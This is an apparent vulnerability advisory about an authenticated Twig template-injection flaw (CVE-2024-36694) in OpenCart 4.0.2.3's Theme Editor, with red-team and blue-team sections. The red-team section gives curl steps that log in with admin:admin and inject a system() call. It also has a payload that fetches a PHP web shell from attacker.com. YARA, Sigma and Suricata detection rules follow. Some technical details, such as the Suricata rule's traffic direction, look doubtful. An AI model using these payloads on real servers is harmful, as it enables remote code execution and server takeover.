CVE-2024-36694

Executive Summary

CVE-2024-36694 identifies a Server-Side Template Injection (SSTI) vulnerability in OpenCart version 4.0.2.3, specifically within the Theme Editor function. An authenticated administrator with access to the admin panel can inject malicious Twig template syntax into theme files, leading to remote code execution (RCE) on the underlying server. This vulnerability is classified as critical due to the potential for full server compromise, though exploitation requires administrative credentials. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

OpenCart is a PHP-based e-commerce platform. The vulnerability resides in the Twig templating engine integration. While Twig itself is not directly compromised, the way OpenCart handles user-supplied template content in the Theme Editor allows injection of arbitrary Twig code. This does not affect the Twig package supply chain but highlights a misconfiguration in the application’s use of the templating engine.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High – While exploitation requires admin privileges, the impact is complete server takeover. In shared hosting or multi-tenant environments, this could lead to lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the Theme Editor functionality of OpenCart 4.0.2.3. The Theme Editor allows administrators to modify Twig template files directly from the admin panel. The application fails to sanitize or restrict the Twig code that can be entered. Twig supports a sandbox mode and has a template_from_string function that can be abused for SSTI if user input is passed to it without proper escaping.

In OpenCart, the Theme Editor writes user-supplied content directly to .twig files on the filesystem. When the application renders these templates, the injected Twig code is executed. An attacker can use Twig’s built-in functions like system(), exec(), or file_put_contents() to execute arbitrary PHP code or system commands.

Key vulnerable component: admin/controller/design/theme.php – The save method writes the code parameter directly to a file without validation.

Exploitation flow:

1. Attacker logs in as admin.
2. Navigates to Design → Theme Editor.
3. Selects a template (e.g., common/home.twig).
4. Injects malicious Twig code, e.g., {{ system('id') }}.
5. Saves the template.
6. Accesses the frontend page that uses the modified template.
7. The injected code executes, revealing system output.

Vulnerable vs. Patched Code

Vulnerable Code (OpenCart 4.0.2.3):

// admin/controller/design/theme.php (simplified)
public function save() {
    $code = $this->request->post['code'];
    $file = DIR_TEMPLATE . $this->request->post['path'];
    file_put_contents($file, $code);
    // No sanitization or validation
}

Patched Code (Hypothetical fix):

// Patched version
public function save() {
    $code = $this->request->post['code'];
    // Strip or escape Twig code that could be dangerous
    $code = preg_replace('/\{\{.*?\}\}/', '', $code);
    $file = DIR_TEMPLATE . $this->request->post['path'];
    // Validate path to prevent directory traversal
    if (strpos(realpath($file), realpath(DIR_TEMPLATE)) !== 0) {
        throw new Exception('Invalid path');
    }
    file_put_contents($file, $code);
}

Note: The official patch is unknown. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OpenCart 4.0.2.3 installed.
• Admin credentials (e.g., admin:admin).

Step-by-step exploitation:

1. Login to admin panel:

   curl -c cookies.txt -b cookies.txt -X POST http://target.com/admin/index.php?route=common/login \
   -d "username=admin&password=admin"
   

2. Get CSRF token (if required):

   curl -b cookies.txt http://target.com/admin/index.php?route=design/theme
   

3. Inject malicious Twig code into a template:

   curl -b cookies.txt -X POST http://target.com/admin/index.php?route=design/theme/save \
   -d "path=common/home.twig&code={{system('id')}}"
   

4. Trigger the template:

   curl http://target.com/index.php?route=common/home
   

Expected output: The id command output will be displayed in the page source or response.

Advanced payload for RCE:

{{system('wget http://attacker.com/shell.php -O /var/www/html/shell.php')}}

Blue Team

Detection:

• Monitor admin panel access logs for unusual POST requests to design/theme/save.
• Look for template files being modified unexpectedly.
• Use file integrity monitoring (FIM) on the catalog/view/theme/ directory.

Hunting:

• Search for Twig code containing system, exec, passthru, shell_exec, file_put_contents, or base64_decode in template files.
• Check for recent modifications to .twig files.

Prevention:

• Restrict admin access to trusted IPs.
• Implement Web Application Firewall (WAF) rules to block Twig injection patterns.
• Disable the Theme Editor for non-essential users.

Indicators of Compromise (IOCs)

• File modifications: Unauthorized changes to .twig files in catalog/view/theme/.
• Network connections: Outbound connections from the web server to unknown IPs (e.g., for reverse shells).
• Log entries: Admin login events followed by POST to design/theme/save.
• Webshell files: Presence of .php files in web root that were not part of the original installation.
• System commands: Execution of commands like id, whoami, uname -a via web requests.

Example IOC:

File: /var/www/html/catalog/view/theme/default/template/common/home.twig
Content: {{system('id')}}

Detection Engineering

YARA Rule

rule OpenCart_SSTI_CVE_2024_36694 {
    meta:
        description = "Detects Twig SSTI payloads in OpenCart template files"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-36694"
    strings:
        $twig_system = /\{\{system\(.*?\)\}\}/
        $twig_exec = /\{\{exec\(.*?\)\}\}/
        $twig_passthru = /\{\{passthru\(.*?\)\}\}/
        $twig_shell_exec = /\{\{shell_exec\(.*?\)\}\}/
        $twig_file_put = /\{\{file_put_contents\(.*?\)\}\}/
    condition:
        any of them
}

Sigma Rule

title: OpenCart Theme Editor SSTI Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-36694 via admin panel
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/admin/index.php?route=design/theme/save'
        cs-uri-query: '*code=*{{*'
    condition: selection
falsepositives:
    - Legitimate admin editing templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-36694 OpenCart SSTI Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/index.php?route=design/theme/save";
    http_uri;
    content:"code=";
    http_client_body;
    pcre:"/\{\{(system|exec|passthru|shell_exec|file_put_contents)\(/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate actions:

1. Disable Theme Editor: Remove or restrict access to the Theme Editor function for all non-essential admin users.
2. Restrict admin access: Use IP whitelisting or VPN for admin panel access.
3. File integrity monitoring: Implement FIM on template directories to alert on changes.

Long-term fixes:

1. Apply vendor patch: Monitor OpenCart’s official channels for a security update.
2. Upgrade: If a patched version becomes available, upgrade immediately.
3. Custom fix: Implement input validation in admin/controller/design/theme.php to strip or escape Twig code that contains dangerous functions.

Workaround:

• Set filesystem permissions on template directories to read-only for the web server user, except during legitimate updates.

Valters IT signature:

---
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst